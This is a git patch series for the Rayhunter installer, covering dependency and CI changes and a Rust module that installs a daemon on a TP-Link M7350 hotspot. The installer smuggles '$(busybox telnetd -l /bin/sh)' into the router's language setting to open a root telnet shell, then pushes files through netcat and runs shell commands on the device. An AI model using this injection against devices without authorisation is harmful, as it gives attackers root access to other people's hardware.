"hyper-util", - "rustls", - "rustls-pki-types", - "tokio", - "tokio-rustls", - "tower-service", -] - -[[package]] -name = "hyper-tls" -version = "0.6.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "70206fc6890eaca9fde8a0bf71caa2ddfc9fe045ac9e5c70df101a7dbde866e0" -dependencies = [ - "bytes", - "http-body-util", - "hyper", - "hyper-util", - "native-tls", - "tokio", - "tokio-native-tls", - "tower-service", -] - [[package]] name = "hyper-util" version = "0.1.11" @@ -1323,23 +1235,6 @@ dependencies = [ "windows-sys 0.52.0", ] -[[package]] -name = "native-tls" -version = "0.2.14" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "87de3442987e9dbec73158d5c715e7ad9072fda936bb03d19d7fa10e00520f0e" -dependencies = [ - "libc", - "log", - "openssl", - "openssl-probe", - "openssl-sys", - "schannel", - "security-framework", - "security-framework-sys", - "tempfile", -] - [[package]] name = "nix" version = "0.29.0" @@ -1419,50 +1314,6 @@ version = "1.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" -[[package]] -name = "openssl" -version = "0.10.72" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fedfea7d58a1f73118430a55da6a286e7b044961736ce96a16a17068ea25e5da" -dependencies = [ - "bitflags 2.6.0", - "cfg-if", - "foreign-types", - "libc", - "once_cell", - "openssl-macros", - "openssl-sys", -] - -[[package]] -name = "openssl-macros" -version = "0.1.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c" -dependencies = [ - "proc-macro2", - "quote", - "syn 2.0.100", -] - -[[package]] -name = "openssl-probe" -version = "0.1.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d05e27ee213611ffe7d6348b942e8f942b37114c00cc03cec254295a4a17852e" - -[[package]] -name = "openssl-sys" -version = "0.9.107" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8288979acd84749c744a9014b4382d42b8f7b2592847b5afb2ed29e5d16ede07" -dependencies = [ - "cc", - "libc", - "pkg-config", - "vcpkg", -] - [[package]] name = "parking_lot" version = "0.12.1" @@ -1530,12 +1381,6 @@ version = "0.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" -[[package]] -name = "pkg-config" -version = "0.3.32" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7edddbd0b52d732b21ad9a5fab5c704c14cd949e5e9a1ec5929a24fded1b904c" - [[package]] name = "png" version = "0.17.16" @@ -1683,33 +1528,25 @@ checksum = "d19c46a6fdd48bc4dab94b6103fccc55d34c67cc0ad04653aad4ea2a07cd7bbb" dependencies = [ "base64", "bytes", - "encoding_rs", "futures-core", "futures-util", - "h2", "http", "http-body", "http-body-util", "hyper", - "hyper-rustls", - "hyper-tls", "hyper-util", "ipnet", "js-sys", "log", "mime", - "native-tls", "once_cell", "percent-encoding", "pin-project-lite", - "rustls-pemfile", "serde", "serde_json", "serde_urlencoded", "sync_wrapper", - "system-configuration", "tokio", - "tokio-native-tls", "tower", "tower-service", "url", @@ -1719,20 +1556,6 @@ dependencies = [ "windows-registry", ] -[[package]] -name = "ring" -version = "0.17.14" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a4689e6c2294d81e88dc6261c768b63bc4fcdb852be6d1352498b114f61383b7" -dependencies = [ - "cc", - "cfg-if", - "getrandom", - "libc", - "untrusted", - "windows-sys 0.52.0", -] - [[package]] name = "rootshell" version = "0.2.8" @@ -1759,45 +1582,6 @@ dependencies = [ "windows-sys 0.52.0", ] -[[package]] -name = "rustls" -version = "0.23.26" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "df51b5869f3a441595eac5e8ff14d486ff285f7b8c0df8770e49c3b56351f0f0" -dependencies = [ - "once_cell", - "rustls-pki-types", - "rustls-webpki", - "subtle", - "zeroize", -] - -[[package]] -name = "rustls-pemfile" -version = "2.2.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dce314e5fee3f39953d46bb63bb8a46d40c2f8fb7cc5a3b6cab2bde9721d6e50" -dependencies = [ - "rustls-pki-types", -] - -[[package]] -name = "rustls-pki-types" -version = "1.11.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "917ce264624a4b4db1c364dcc35bfca9ded014d0a958cd47ad3e960e988ea51c" - -[[package]] -name = "rustls-webpki" -version = "0.103.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fef8b8769aaccf73098557a87cd1816b4f9c7c16811c9c77142aa695c16f2c03" -dependencies = [ - "ring", - "rustls-pki-types", - "untrusted", -] - [[package]] name = "rustversion" version = "1.0.20" @@ -1810,44 +1594,12 @@ version = "1.0.17" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e86697c916019a8588c99b5fac3cead74ec0b4b819707a682fd4d23fa0ce1ba1" -[[package]] -name = "schannel" -version = "0.1.23" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fbc91545643bcf3a0bbb6569265615222618bdf33ce4ffbbd13c4bbd4c093534" -dependencies = [ - "windows-sys 0.52.0", -] - [[package]] name = "scopeguard" version = "1.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" -[[package]] -name = "security-framework" -version = "2.11.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "897b2245f0b511c87893af39b033e5ca9cce68824c4d7e7630b5a1d339658d02" -dependencies = [ - "bitflags 2.6.0", - "core-foundation", - "core-foundation-sys", - "libc", - "security-framework-sys", -] - -[[package]] -name = "security-framework-sys" -version = "2.14.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "49db231d56a190491cb4aeda9527f1ad45345af50b0851622a7adb8c03b01c32" -dependencies = [ - "core-foundation-sys", - "libc", -] - [[package]] name = "serde" version = "1.0.219" @@ -1990,12 +1742,6 @@ version = "0.11.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" -[[package]] -name = "subtle" -version = "2.6.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292" - [[package]] name = "syn" version = "1.0.109" @@ -2038,27 +1784,6 @@ dependencies = [ "syn 2.0.100", ] -[[package]] -name = "system-configuration" -version = "0.6.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3c879d448e9d986b661742763247d3693ed13609438cf3d006f51f5368a5ba6b" -dependencies = [ - "bitflags 2.6.0", - "core-foundation", - "system-configuration-sys", -] - -[[package]] -name = "system-configuration-sys" -version = "0.6.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8e1d1b10ced5ca923a1fcb8d03e96b8d3268065d724548c0211415ff6ac6bac4" -dependencies = [ - "core-foundation-sys", - "libc", -] - [[package]] name = "tap" version = "1.0.1" @@ -2201,26 +1926,6 @@ dependencies = [ "syn 2.0.100", ] -[[package]] -name = "tokio-native-tls" -version = "0.3.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bbae76ab933c85776efabc971569dd6119c580d8f5d448769dec1764bf796ef2" -dependencies = [ - "native-tls", - "tokio", -] - -[[package]] -name = "tokio-rustls" -version = "0.26.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8e727b36a1a0e8b74c376ac2211e40c2c8af09fb4013c60d910495810f008e9b" -dependencies = [ - "rustls", - "tokio", -] - [[package]] name = "tokio-stream" version = "0.1.14" @@ -2245,7 +1950,6 @@ dependencies = [ "hashbrown 0.14.3", "pin-project-lite", "tokio", - "tracing", ] [[package]] @@ -2357,12 +2061,6 @@ version = "1.0.12" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" -[[package]] -name = "untrusted" -version = "0.9.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" - [[package]] name = "url" version = "2.5.4" @@ -2392,12 +2090,6 @@ version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a" -[[package]] -name = "vcpkg" -version = "0.2.15" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" - [[package]] name = "version_check" version = "0.9.4" @@ -2872,12 +2564,6 @@ dependencies = [ "synstructure", ] -[[package]] -name = "zeroize" -version = "1.8.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ced3678a2879b30306d323f4542626697a464a97c0a07c9aebf7ebca65cd4dde" - [[package]] name = "zerovec" version = "0.10.4" diff --git a/installer/Cargo.toml b/installer/Cargo.toml index 96f16e4c..66a84f70 100644 --- a/installer/Cargo.toml +++ b/installer/Cargo.toml @@ -10,7 +10,7 @@ vendor = [] anyhow = "1.0.98" clap = { version = "4.5.37", features = ["derive"] } md5 = "0.7.0" -reqwest = { version = "0.12.15", features = ["json"] } +reqwest = { version = "0.12.15", features = ["json"], default-features = false } serde = { version = "1.0.219", features = ["derive"] } serde_json = "1.0.140" tokio = { version = "1.44.2", features = ["full"] } From 59cec9e8559012441a0f348a862a8a64759fa7a9 Mon Sep 17 00:00:00 2001 From: Markus Unterwaditzer Date: Wed, 23 Apr 2025 03:20:44 +0200 Subject: [PATCH 04/14] fix path --- installer/src/main.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/installer/src/main.rs b/installer/src/main.rs index d4b9227c..392ac5d6 100644 --- a/installer/src/main.rs +++ b/installer/src/main.rs @@ -144,7 +144,7 @@ async fn main_tplink(args: InstallTpLink) -> Result<(), Error> { #[cfg(feature = "vendor")] let rayhunter_daemon_bin = - include_bytes!("../../rayhunter-daemon-tplink/rayhunter-daemon-tplink"); + include_bytes!("../../rayhunter-daemon-tplink/rayhunter-daemon"); #[cfg(not(feature = "vendor"))] let rayhunter_daemon_bin = From 97912d3fe058430c860052cf5bb9567ae20d79ad Mon Sep 17 00:00:00 2001 From: Markus Unterwaditzer Date: Wed, 23 Apr 2025 21:44:16 +0200 Subject: [PATCH 05/14] move to tplink module --- installer/src/main.rs | 234 ++-------------------------------------- installer/src/tplink.rs | 224 ++++++++++++++++++++++++++++++++++++++ 2 files changed, 230 insertions(+), 228 deletions(-) create mode 100644 installer/src/tplink.rs diff --git a/installer/src/main.rs b/installer/src/main.rs index 392ac5d6..5e930012 100644 --- a/installer/src/main.rs +++ b/installer/src/main.rs @@ -1,14 +1,10 @@ -use std::net::SocketAddr; -use std::str::FromStr; -use std::time::Duration; - use anyhow::{Context, Error}; use clap::{Parser, Subcommand}; -use serde::Deserialize; -use serde_json::json; -use tokio::io::{AsyncReadExt, AsyncWriteExt}; -use tokio::net::TcpStream; -use tokio::time::{sleep, timeout}; + +mod tplink; + +pub static CONFIG_TOML: &[u8] = include_bytes!("../../dist/config.toml.example"); +pub static RAYHUNTER_DAEMON_INIT: &[u8] = include_bytes!("../../dist/scripts/rayhunter_daemon"); #[derive(Parser, Debug)] #[command(version, about)] @@ -48,225 +44,7 @@ async fn main() -> Result<(), Error> { let Args { command } = Args::parse(); match command { - Command::InstallTplink(tplink) => main_tplink(tplink).await.context("Failed to install rayhunter on the TP-Link M7350. Make sure your computer is connected to the hotspot using USB tethering or WiFi. Currently only Hardware Revision v3 is supported.")?, - } - - Ok(()) -} - -async fn main_tplink(args: InstallTpLink) -> Result<(), Error> { - let InstallTpLink { - skip_sdcard, - username, - password, - admin_ip, - } = args; - - let qcmap_auth_endpoint = format!("http://{admin_ip}/cgi-bin/qcmap_auth"); - let qcmap_web_cgi_endpoint = format!("http://{admin_ip}/cgi-bin/qcmap_web_cgi"); - - #[derive(Deserialize)] - struct NonceResponse { - nonce: String, - } - - let client = reqwest::Client::new(); - - let NonceResponse { nonce } = client - .post(&qcmap_auth_endpoint) - .body(r#"{"module":"authenticator","action":0}"#) - .send() - .await? - .error_for_status()? - .json() - .await?; - - println!("Successfully detected TP-Link M7350 v3, nonce: {nonce}"); - - let digest_md5 = md5::compute(format!("{username}:{password}:{nonce}").as_bytes()); - - #[derive(Deserialize)] - struct TokenResponse { - token: String, - } - - let TokenResponse { token } = client - .post(&qcmap_auth_endpoint) - .json(&json!({ - "module": "authenticator", - "action": 1, - "digest": format!("{:x}", digest_md5) - })) - .send() - .await? - .error_for_status()? - .json() - .await?; - - println!("Got token: {token}"); - - for language in &["$(busybox telnetd -l /bin/sh)", "en"] { - println!("Setting language of device to {language}"); - client - .post(&qcmap_web_cgi_endpoint) - .header("Cookie", format!("tpweb_token={token}")) - .json(&json!({ - "token": token, - "module": "webServer", - "action": 1, - "language": language - })) - .send() - .await? - .error_for_status()?; - } - - println!("Connecting via telnet to {admin_ip}"); - let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap(); - - if !skip_sdcard { - println!("Mounting sdcard"); - telnet_send_command(addr, "mount /dev/mmcblk0p1 /mnt/card", "exit code 0").await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?; - } - - // there is too little space on the internal flash to store anything, but the initrd script - // expects things to be at this location - telnet_send_command(addr, "rm -rf /data/rayhunter", "exit code 0").await?; - telnet_send_command(addr, "mkdir -p /data", "exit code 0").await?; - telnet_send_command(addr, "ln -sf /mnt/card /data/rayhunter", "exit code 0").await?; - - telnet_send_file( - addr, - "/mnt/card/config.toml", - include_bytes!("../../dist/config.toml.example"), - ) - .await?; - - #[cfg(feature = "vendor")] - let rayhunter_daemon_bin = - include_bytes!("../../rayhunter-daemon-tplink/rayhunter-daemon"); - - #[cfg(not(feature = "vendor"))] - let rayhunter_daemon_bin = - &tokio::fs::read("target/armv7-unknown-linux-gnueabihf/release/rayhunter-daemon").await?; - - telnet_send_file(addr, "/mnt/card/rayhunter-daemon", rayhunter_daemon_bin).await?; - telnet_send_file( - addr, - "/etc/init.d/rayhunter_daemon", - include_bytes!("../../dist/scripts/rayhunter_daemon"), - ) - .await?; - - telnet_send_command( - addr, - "chmod ugo+x /mnt/card/rayhunter-daemon", - "exit code 0", - ) - .await?; - telnet_send_command( - addr, - "chmod 755 /etc/init.d/rayhunter_daemon", - "exit code 0", - ) - .await?; - telnet_send_command(addr, "update-rc.d rayhunter_daemon defaults", "exit code 0").await?; - - println!( - "Done. Rebooting device. After it's started up again, check out the web interface at http://{admin_ip}:8080" - ); - - telnet_send_command(addr, "reboot", "exit code 0").await?; - - Ok(()) -} - -async fn telnet_send_file(addr: SocketAddr, filename: &str, payload: &[u8]) -> Result<(), Error> { - println!("Sending file {filename}"); - - // remove the old file just in case we are close to disk capacity. - telnet_send_command(addr, &format!("rm {filename}"), "").await?; - - { - let filename = filename.to_owned(); - let handle = tokio::spawn(async move { - telnet_send_command(addr, &format!("nc -l 0.0.0.0:8081 > {filename}.tmp"), "").await - }); - - sleep(Duration::from_millis(100)).await; - - let mut addr = addr; - addr.set_port(8081); - let mut stream = TcpStream::connect(addr).await?; - stream.write_all(payload).await?; - - handle.await??; - } - - let checksum = md5::compute(payload); - - telnet_send_command( - addr, - &format!("md5sum {filename}.tmp"), - &format!("{checksum:x} {filename}.tmp"), - ) - .await?; - - telnet_send_command( - addr, - &format!("mv {filename}.tmp {filename}"), - "exit code 0", - ) - .await?; - - Ok(()) -} - -async fn telnet_send_command( - addr: SocketAddr, - command: &str, - expected_output: &str, -) -> Result<(), Error> { - let stream = TcpStream::connect(addr).await?; - let (mut reader, mut writer) = stream.into_split(); - - loop { - let mut buf = [0]; - reader.read(&mut buf).await?; - if buf[0] == b'#' { - break; - } - } - - writer.write_all(command.as_bytes()).await?; - writer.write_all(b"; echo exit code $?\r\n").await?; - - let mut read_buf = Vec::new(); - - let _ = timeout(Duration::from_secs(5), async { - let mut buf = [0; 4096]; - loop { - let Ok(bytes_read) = reader.read(&mut buf).await else { - break; - }; - let bytes = &buf[..bytes_read]; - if bytes.is_empty() { - continue; - } - - read_buf.extend(bytes); - - if read_buf.ends_with(b"/ # ") { - break; - } - } - }) - .await; - - let string = String::from_utf8_lossy(&read_buf); - - if !string.contains(expected_output) { - anyhow::bail!("{expected_output:?} not found in: {string}"); + Command::InstallTplink(tplink) => tplink::main_tplink(tplink).await.context("Failed to install rayhunter on the TP-Link M7350. Make sure your computer is connected to the hotspot using USB tethering or WiFi. Currently only Hardware Revision v3 is supported.")?, } Ok(()) diff --git a/installer/src/tplink.rs b/installer/src/tplink.rs new file mode 100644 index 00000000..fd5bc48f --- /dev/null +++ b/installer/src/tplink.rs @@ -0,0 +1,224 @@ +use std::net::SocketAddr; +use std::str::FromStr; +use std::time::Duration; + +use anyhow::{Context, Error}; +use serde::Deserialize; +use serde_json::json; +use tokio::io::{AsyncReadExt, AsyncWriteExt}; +use tokio::net::TcpStream; +use tokio::time::{sleep, timeout}; + +use crate::InstallTpLink; + +pub async fn main_tplink(args: InstallTpLink) -> Result<(), Error> { + let InstallTpLink { + skip_sdcard, + username, + password, + admin_ip, + } = args; + + let qcmap_auth_endpoint = format!("http://{admin_ip}/cgi-bin/qcmap_auth"); + let qcmap_web_cgi_endpoint = format!("http://{admin_ip}/cgi-bin/qcmap_web_cgi"); + + #[derive(Deserialize)] + struct NonceResponse { + nonce: String, + } + + let client = reqwest::Client::new(); + + let NonceResponse { nonce } = client + .post(&qcmap_auth_endpoint) + .body(r#"{"module":"authenticator","action":0}"#) + .send() + .await? + .error_for_status()? + .json() + .await?; + + println!("Successfully detected TP-Link M7350 v3, nonce: {nonce}"); + + let digest_md5 = md5::compute(format!("{username}:{password}:{nonce}").as_bytes()); + + #[derive(Deserialize)] + struct TokenResponse { + token: String, + } + + let TokenResponse { token } = client + .post(&qcmap_auth_endpoint) + .json(&json!({ + "module": "authenticator", + "action": 1, + "digest": format!("{:x}", digest_md5) + })) + .send() + .await? + .error_for_status()? + .json() + .await?; + + println!("Got token: {token}"); + + for language in &["$(busybox telnetd -l /bin/sh)", "en"] { + println!("Setting language of device to {language}"); + client + .post(&qcmap_web_cgi_endpoint) + .header("Cookie", format!("tpweb_token={token}")) + .json(&json!({ + "token": token, + "module": "webServer", + "action": 1, + "language": language + })) + .send() + .await? + .error_for_status()?; + } + + println!("Connecting via telnet to {admin_ip}"); + let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap(); + + if !skip_sdcard { + println!("Mounting sdcard"); + telnet_send_command(addr, "mount /dev/mmcblk0p1 /mnt/card", "exit code 0").await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?; + } + + // there is too little space on the internal flash to store anything, but the initrd script + // expects things to be at this location + telnet_send_command(addr, "rm -rf /data/rayhunter", "exit code 0").await?; + telnet_send_command(addr, "mkdir -p /data", "exit code 0").await?; + telnet_send_command(addr, "ln -sf /mnt/card /data/rayhunter", "exit code 0").await?; + + telnet_send_file(addr, "/mnt/card/config.toml", crate::CONFIG_TOML).await?; + + #[cfg(feature = "vendor")] + let rayhunter_daemon_bin = include_bytes!("../../rayhunter-daemon-tplink/rayhunter-daemon"); + + #[cfg(not(feature = "vendor"))] + let rayhunter_daemon_bin = + &tokio::fs::read("target/armv7-unknown-linux-gnueabihf/release/rayhunter-daemon").await?; + + telnet_send_file(addr, "/mnt/card/rayhunter-daemon", rayhunter_daemon_bin).await?; + telnet_send_file( + addr, + "/etc/init.d/rayhunter_daemon", + crate::RAYHUNTER_DAEMON_INIT, + ) + .await?; + + telnet_send_command( + addr, + "chmod ugo+x /mnt/card/rayhunter-daemon", + "exit code 0", + ) + .await?; + telnet_send_command( + addr, + "chmod 755 /etc/init.d/rayhunter_daemon", + "exit code 0", + ) + .await?; + telnet_send_command(addr, "update-rc.d rayhunter_daemon defaults", "exit code 0").await?; + + println!( + "Done. Rebooting device. After it's started up again, check out the web interface at http://{admin_ip}:8080" + ); + + telnet_send_command(addr, "reboot", "exit code 0").await?; + + Ok(()) +} + +async fn telnet_send_file(addr: SocketAddr, filename: &str, payload: &[u8]) -> Result<(), Error> { + println!("Sending file {filename}"); + + // remove the old file just in case we are close to disk capacity. + telnet_send_command(addr, &format!("rm {filename}"), "").await?; + + { + let filename = filename.to_owned(); + let handle = tokio::spawn(async move { + telnet_send_command(addr, &format!("nc -l 0.0.0.0:8081 > {filename}.tmp"), "").await + }); + + sleep(Duration::from_millis(100)).await; + + let mut addr = addr; + addr.set_port(8081); + let mut stream = TcpStream::connect(addr).await?; + stream.write_all(payload).await?; + + handle.await??; + } + + let checksum = md5::compute(payload); + + telnet_send_command( + addr, + &format!("md5sum {filename}.tmp"), + &format!("{checksum:x} {filename}.tmp"), + ) + .await?; + + telnet_send_command( + addr, + &format!("mv {filename}.tmp {filename}"), + "exit code 0", + ) + .await?; + + Ok(()) +} + +async fn telnet_send_command( + addr: SocketAddr, + command: &str, + expected_output: &str, +) -> Result<(), Error> { + let stream = TcpStream::connect(addr).await?; + let (mut reader, mut writer) = stream.into_split(); + + loop { + let mut buf = [0]; + reader.read(&mut buf).await?; + if buf[0] == b'#' { + break; + } + } + + writer.write_all(command.as_bytes()).await?; + writer.write_all(b"; echo exit code $?\r\n").await?; + + let mut read_buf = Vec::new(); + + let _ = timeout(Duration::from_secs(5), async { + let mut buf = [0; 4096]; + loop { + let Ok(bytes_read) = reader.read(&mut buf).await else { + break; + }; + let bytes = &buf[..bytes_read]; + if bytes.is_empty() { + continue; + } + + read_buf.extend(bytes); + + if read_buf.ends_with(b"/ # ") { + break; + } + } + }) + .await; + + let string = String::from_utf8_lossy(&read_buf); + + if !string.contains(expected_output) { + anyhow::bail!("{expected_output:?} not found in: {string}"); + } + + Ok(()) +} From cc8af0fe3e6ea7dc83b609e0066c76b28a117d13 Mon Sep 17 00:00:00 2001 From: Sashanoraa Date: Sat, 26 Apr 2025 21:04:52 -0400 Subject: [PATCH 06/14] Move serial into the installer in prep for Orbic support --- .github/workflows/build-release.yml | 15 +- .github/workflows/check-and-test.yml | 14 - Cargo.lock | 1589 +++++++++++++++++- installer/Cargo.toml | 6 + serial/src/main.rs => installer/src/orbic.rs | 0 serial/Cargo.toml | 11 - 6 files changed, 1524 insertions(+), 111 deletions(-) rename serial/src/main.rs => installer/src/orbic.rs (100%) delete mode 100644 serial/Cargo.toml diff --git a/.github/workflows/build-release.yml b/.github/workflows/build-release.yml index e77d83c5..2c2fd64e 100644 --- a/.github/workflows/build-release.yml +++ b/.github/workflows/build-release.yml @@ -10,7 +10,7 @@ env: CARGO_TERM_COLOR: always jobs: - build_serial_and_check: + build_rayhunter_check: strategy: matrix: platform: @@ -32,18 +32,7 @@ jobs: runs-on: ${{ matrix.platform.os }} steps: - uses: actions/checkout@v4 - - uses: dtolnay/rust-toolchain@stable - with: - targets: ${{ matrix.platform.target }} - - name: Build serial - run: cargo build --bin serial --release --target ${{ matrix.platform.target }} - - uses: actions/upload-artifact@v4 - with: - name: serial-${{ matrix.platform.name }} - path: target/${{ matrix.platform.target }}/release/serial${{ matrix.platform.os == 'windows-latest' && '.exe' || '' }} - if-no-files-found: error - - uses: actions/checkout@v4 - - name: Build check + - name: Build rayhunter-check run: cargo build --bin rayhunter-check --release - uses: actions/upload-artifact@v4 with: diff --git a/.github/workflows/check-and-test.yml b/.github/workflows/check-and-test.yml index 600508f2..06b1f734 100644 --- a/.github/workflows/check-and-test.yml +++ b/.github/workflows/check-and-test.yml @@ -27,17 +27,3 @@ jobs: - name: Run clippy run: cargo clippy --verbose --no-default-features --features=${{ matrix.device.name }} - windows_serial_check_and_test: - runs-on: windows-latest - steps: - - uses: actions/checkout@v3 - - name: cargo check - shell: bash - run: | - cd serial - cargo check --verbose - - name: cargo test - shell: bash - run: | - cd serial - cargo test --verbose --no-default-features --features=${{ matrix.device.name }} diff --git a/Cargo.lock b/Cargo.lock index a3f4488a..49f4f2cf 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -2,6 +2,38 @@ # It is not intended for manual editing. version = 4 +[[package]] +name = "adb_client" +version = "2.1.11" +source = "git+https://github.com/gaykitty/adb_client.git?branch=nusb#1d0a327fa118887743a23232ea0f83968ebad70b" +dependencies = [ + "async-io", + "base64", + "bincode", + "byteorder", + "chrono", + "futures-lite", + "homedir", + "image", + "lazy_static", + "log", + "mdns-sd", + "num-bigint-dig", + "num-traits", + "nusb", + "quick-protobuf", + "rand 0.9.1", + "rcgen", + "regex", + "rsa", + "rustls", + "rustls-pki-types", + "serde", + "serde_repr", + "sha1", + "thiserror 2.0.12", +] + [[package]] name = "addr2line" version = "0.21.0" @@ -32,7 +64,7 @@ dependencies = [ "cfg-if", "once_cell", "version_check", - "zerocopy", + "zerocopy 0.7.32", ] [[package]] @@ -44,6 +76,12 @@ dependencies = [ "memchr", ] +[[package]] +name = "aligned-vec" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4aa90d7ce82d4be67b64039a3d588d38dbcc6736577de4a847025ce5b0c468d1" + [[package]] name = "allocator-api2" version = "0.2.16" @@ -119,6 +157,29 @@ version = "1.0.98" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e16d2d3311acee920a9eb8d33b8cbc1787ce4a264e85f964c2404b969bdcd487" +[[package]] +name = "arbitrary" +version = "1.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dde20b3d026af13f561bdd0f15edf01fc734f0dafcedbaf42bba506a9517f223" + +[[package]] +name = "arg_enum_proc_macro" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ae92a5119aa49cdbcf6b9f893fe4e1d98b04ccbf82ee0584ad948a44a734dea" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.100", +] + +[[package]] +name = "arrayvec" +version = "0.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7c02d123df017efcdfbd739ef81735b36c5ba83ec3c59c80a9d7ecc718f92e50" + [[package]] name = "asn1-codecs" version = "0.6.1" @@ -163,6 +224,36 @@ dependencies = [ "syn 1.0.109", ] +[[package]] +name = "async-io" +version = "2.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "43a2b323ccce0a1d90b449fd71f2a06ca7faa7c54c2751f06c9bd851fc061059" +dependencies = [ + "async-lock", + "cfg-if", + "concurrent-queue", + "futures-io", + "futures-lite", + "parking", + "polling", + "rustix", + "slab", + "tracing", + "windows-sys 0.59.0", +] + +[[package]] +name = "async-lock" +version = "3.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff6e472cdea888a4bd64f342f09b3f50e1886d32afe8df3d663c01140b811b18" +dependencies = [ + "event-listener", + "event-listener-strategy", + "pin-project-lite", +] + [[package]] name = "async-trait" version = "0.1.77" @@ -186,6 +277,52 @@ version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" +[[package]] +name = "av1-grain" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6678909d8c5d46a42abcf571271e15fdbc0a225e3646cf23762cd415046c78bf" +dependencies = [ + "anyhow", + "arrayvec", + "log", + "nom", + "num-rational", + "v_frame", +] + +[[package]] +name = "avif-serialize" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "98922d6a4cfbcb08820c69d8eeccc05bb1f29bfa06b4f5b1dbfe9a868bd7608e" +dependencies = [ + "arrayvec", +] + +[[package]] +name = "aws-lc-rs" +version = "1.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "19b756939cb2f8dc900aa6dcd505e6e2428e9cae7ff7b028c49e3946efa70878" +dependencies = [ + "aws-lc-sys", + "zeroize", +] + +[[package]] +name = "aws-lc-sys" +version = "0.28.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa9b6986f250236c27e5a204062434a773a13243d2ffc2955f37bdba4c5c6a1" +dependencies = [ + "bindgen", + "cc", + "cmake", + "dunce", + "fs_extra", +] + [[package]] name = "axum" version = "0.8.3" @@ -261,6 +398,50 @@ version = "0.22.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" +[[package]] +name = "base64ct" +version = "1.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "89e25b6adfb930f02d1981565a6e5d9c547ac15a96606256d3b59040e5cd4ca3" + +[[package]] +name = "bincode" +version = "1.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1f45e9417d87227c7a56d22e471c6206462cba514c7590c09aff4cf6d1ddcad" +dependencies = [ + "serde", +] + +[[package]] +name = "bindgen" +version = "0.69.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "271383c67ccabffb7381723dea0672a673f292304fcb45c01cc648c7a8d58088" +dependencies = [ + "bitflags 2.6.0", + "cexpr", + "clang-sys", + "itertools", + "lazy_static", + "lazycell", + "log", + "prettyplease", + "proc-macro2", + "quote", + "regex", + "rustc-hash", + "shlex", + "syn 2.0.100", + "which", +] + +[[package]] +name = "bit_field" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 